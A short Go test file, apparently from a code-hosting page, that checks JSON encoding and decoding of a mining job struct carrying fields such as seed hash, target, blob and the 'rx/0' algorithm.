func TestJobJSONRoundTrip(t *testing.T) {
|
||||
in := Job{
|
||||
ID: "j1", Height: 2800000, BlockTemplate: "tpl", Difficulty: 100000,
|
||||
SeedHash: "seed", Target: "target", Blob: "deadbeef", Algo: "rx/0",
|
||||
}
|
||||
b, err := json.Marshal(in)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
var out Job
|
||||
if err := json.Unmarshal(b, &out); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if out.ID != in.ID || out.Blob != in.Blob || out.Algo != in.Algo {
|
||||
t.Fatalf("mismatch: %+v", out)
|
||||
}
|
||||
}
|
||||
|
||||
func TestJobMinimalJSON(t *testing.T) {
|
||||
var out Job
|
||||
if err := json.Unmarshal([]byte(`{"job_id":"x"}`), &out); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if out.ID != "x" {
|
||||
t.Fatalf("got %q", out.ID)
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user